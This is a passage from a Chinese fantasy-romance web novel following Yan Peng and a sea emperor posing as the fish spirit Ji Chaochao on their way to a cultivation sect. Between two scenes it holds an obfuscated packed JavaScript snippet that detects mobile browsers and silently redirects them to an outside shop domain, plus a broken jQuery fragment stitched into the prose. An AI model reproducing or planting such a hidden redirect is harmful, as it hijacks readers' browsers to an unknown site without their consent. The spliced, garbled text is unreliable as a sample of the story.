“寂潮涯,玄天宗会收鱼精吗?”
“不知道…”
“你一个小鱼精起这么大的名字会不会背不住?”
“或许吧,不如你重新给我取一个。”
“那就叫纪朝朝,简单又好记。”
“……行。”
空旷的大路上,着乞丐装的少女,好心情地蹦跶着。身旁陪个精致男子。
男子红衣似火,眉眼淡然。白色长发自然垂在身后,随着少女的动作,被风掀起几缕,轻轻搭在腕间。
浅蓝色的眸子微微低垂,瞥向那即使啃着萝卜,还能不停絮叨的人。
晏芃仰头问道,
“纪朝朝,你确定就这样离开大海跟了我,不会想家吗。”
改名后的纪朝朝叹气,将她口中的萝卜抽出来,没好气扔地上,“都成萝卜干了,还吃。”
又掏出手帕,胡乱替她抹了把嘴。道,“谁叫你把我从妖怪手中救下来,我只好跟着你,以报恩情。”
咦。
不信。
这周身的气度可不像是来报恩的。晏芃了然,决定捉弄他。
“那你现在是打算给我当牛做马吗?”
她的眼睛亮了,狡黠一笑,眸中含满了期待。
闻言,纪朝朝失语片刻,忽而气笑了。想让他当牛做马,真是…好大的胆子。
他弯下腰来,“错了,我是来以身相许的。”
本意是想唬住她,可空气安静下来后,他才懊悔,自己到底在胡说八道什么。
见她不说话,纪朝朝心虚地别开眼,站起来假装咳嗽,“咳,其实…”
“那我们什么时候成亲?”
“?”
纪朝朝双眸瞪大。
刚见面就问这个,会不会发展太快了。
不等他脑子转回来,晏芃踮起脚尖抓住他的衣袖追问。
“要不就现在吧,刚好你穿了红衣,脱一件外袍给我,我们现在就拜天地。”
她一边说一边扒拉自己的衣服,瘦弱的身躯不知道哪儿来那么大的力气。
头发也没扎好,歪歪扭扭地散了一半,因为动作粗鲁,偏头时垂落下来扫过他的手背。
纪朝朝像被烫到一般,迅速往回缩,不经意露出那藏在白发后面的耳朵,红了一片。
他迅速捂住胸前衣襟,捏紧背过身去。“你简直…姑娘家家,矜持些!”
晏芃缠住他的手臂不放,纪朝朝本想抽开,可是被抓的太紧,强行扯离会把人弄伤。
但如果脱掉外袍,又怕随了她的意。
无奈道,“…先松手。”
“不是你说的以身相许,怎么要拜天地就不愿意了?”
晏芃失落地退后,“看来你也不是诚心报恩的,修仙路漫漫,我怕你反悔,不如还是回去吧。”
纪朝朝深呼吸,看着那落寞的背影,怪可怜的。
算了。
她长那么大也不容易。
况且……罢了,就勉强信海神一次。若是敢骗他,回去就把海翻了。
他缓缓开口,理了理绰词,“没有不愿意,只是希望你能想清楚。”
“以你的天赋,一看就能拜入仙门,才华横溢,惊绝天下。”
“而我只是海里的小鱼精,法力低微,连寻常妖怪都打不过。”
他眼神幽幽地望着晏芃,“万一我们早早成亲,过个十年百年,我修为不足,人老珠黄了,比不得你身边出现新的莺莺燕燕好看。
却因占了正头夫君的位置,惹人妒忌,被你厌弃,那我不如死了算了。”
天可怜见的,这小眼神多么委屈。
晏芃捧住他的手,趁机捏了捏。
真嫩啊。
不愧是鱼精,滑滑的,白白的。
“怎么会呢,你长这么好看,我疼你都来不及,怎么会厌弃?”
纪朝朝瞥一眼晏芃,不动声色避开她的流氓爪子,试探道,“你真的愿意娶我?”
不等人回答,他自顾自回头,挑眉道,“咳,也不是不行。”
“但有了我以后,你身边便不能再出现其他男子了,除了我,你不能和别的男子有太多交集。否则我就把你绑起来,扔进鱼群里,让它们一口一口地把你吃掉。”
“……”
听完一番话,晏芃震惊,“我不是你的恩人吗?对我这么狠。”
“哼,你还真想莺莺燕燕环身,对我始乱终弃?”
“?”
这倒不像是来报恩,更像是被被抛弃的前男友来讨债的。
晏芃眯起眼,若有所思地打量这条小鱼精。
白发蓝眸,清尘如谪仙。
身段高挑,身子柔软。捏一捏肌肉,紧实有力。
有这实力,确实有嚣张的资本。
不过,晏芃可不会惯着他。
正所谓,上赶着以身相许的人不值钱,尤其是这种来历不明的妖精,指不定是杀猪盘。
她认同道,“确实,你说的有道理,我以后肯定会惊绝天下,到时候万一身边出现了更好的人呢。”
“总不能让你阻止了我,奔向更好的人。”
“海那么大,鱼那么多,我不能只要一条。”
像是突然解开心结,她豁然开朗。
“你真是一条好鱼,既以身相许给我,又不愿要个名分,我真是太感动了。”
“?”
晏芃拍拍他的肩,“你放心,等我以后发达了,不会始乱终弃的,我给你偷偷备个小池塘当外室养着。”
“???”
纪朝朝这个脾气大,听到这话,他不可置信道,“你是说,我只能住小池塘?”
“还是外室?”
晏芃点头,“对啊,这都是考虑到站我身边你会压力大,我也担心外面的莺莺燕燕会欺负你,不如把你藏起来,变相地保护着。”
她又从兜里掏出一根新的胡萝卜。
村民们很大方,给那么大一口袋,能吃很久。
早知这世界还有妖怪存在,以她的大力士天赋,就该去打妖怪赚外快。
不过现在也不急。
小鱼精说玄天宗在收弟子,她的天赋肯定能选上。
“太好了,我们快去玄天宗拜师学艺吧。”
她晏芃的好日子要来了。
“……”
见她跑远,嘴里还哼着不知名小调,纪朝朝气的冷哼一声。
算了,海神说这是他命定的妻子,不能不要,否则以后万万年都得孤寂终生。
他低声嘟囔,“莫不是诓我。”
那边传来晏芃的声音,“快跟上,纪朝朝,别待会连小池塘都进不去。”
“哦。”纪朝朝简单给自己收拾下,素来以残暴闻名的海皇陛下,当真变成了一只弱小的鱼精。
吐气,“来了,别催。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17816761|211074||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
……
热闹的集市人来人往,晏芃几乎被纪朝朝推着走。
她像一条被晒晕的蛇,戳一下动一下。
后者终于忍不住开口,“能不能多动两下,你这样像一条软乎乎的毛毛虫,麻麻赖赖的,别逼我找根绳子拖着你走。”
晏芃像是被吸干了精气,有气无力道,
“不知道为什么,我觉得浑身无力,是不是又饿了。”
纪朝朝摸摸她的额头,“哪里会饿,不是刚给你吃了两只烧鸡,三碗馄饨,还有四个葱油饼?”
顿了顿,“你莫不是中暑了。”
白暮城禁止修士飞行,纪朝朝只好将这脆弱的犟种往人少的地方带。
替她洗了把脸,又放进水泡冰了冰。
晏芃满血复活,原地小碎步,“小鱼小鱼,你简直是世界上最棒的小鱼。”
但她说完后,看了一眼远处,便又蔫巴了下来。
“可还是好累啊,不想走了,玄天宗咋那么远,还那么热。”
纪朝朝无奈叹气,“你不会又要说放弃了吧。”
一路走来,不知道她说了多少次放弃。
竟是个没多大毅力的人。
见人不回应,眉头紧皱着看外面的天。
纪朝朝安抚道,“好了好了,白暮城靠近火山,确实热了些,等过了这座城,翻过山头便到了。”
任劳任怨地替她洗掉手汗,又掏出一个珍珠吊坠挂脖子上。
“戴上这个就不热了,别拉着个脸,像头驴。”
恰好旁边有人牵着驴路过,听到这话忙凑过来。
“客人需要租驴吗,我这驴上等好货,可载人从这里直达天山,不稳不快不要钱。”
晏芃:“……”
那驴似乎听得懂人话,也凑过来对着晏芃喷一口气。
一人一驴的臭脸凑在一起,更像了。
“哈哈哈。”
纪朝朝无情地笑出声,“租!”
“好嘞!费用两颗中品灵石,一颗现结,一颗到时候给驴就好。”
商人喜笑颜开地接过灵石,递给晏芃一根棍子,而棍子上吊着根胡萝卜。
“……”
看到萝卜,纪朝朝脸黑了。
一路耳边只有吭哧吭哧啃萝卜的声音,平时也没饿着人。可她就习惯啃点干巴萝卜,导致现在看到这东西他就一股无名火。
不等纪朝朝阻止,晏芃“pia”一下揪掉胡萝卜,放入嘴边咬一口。
明明早就吃到吐了,她却还要塞进嘴里咬两下。
是吃出感情了?纪朝朝无奈扶额。
晏芃确实养出条件反射了,看到萝卜就下意识放嘴里。
但刚咬一口就后悔了,好不容易才把那么大一袋萝卜吃干净,本意是不想浪费粮食,没想到最终却苦了自己。
本已经做好了吐出来的准备,可是,这吃进嘴里的感觉,脆脆的,甜甜的。
她不可置信地看着驴,与驴大眼瞪小眼。一头驴竟然都吃的比她好!
驴的眼睛本来就大,见到这种情况更是瞪得死死的。
它突然冲着晏芃嚎一嗓子,气的嘴都歪了。但这是主人的客户,驴不能踢。
驴委屈地拱进主人怀中,嘴唇不停颤抖,发出撕心裂肺的吼叫。
商人:“……”
纪朝朝:“……”
真是疯了。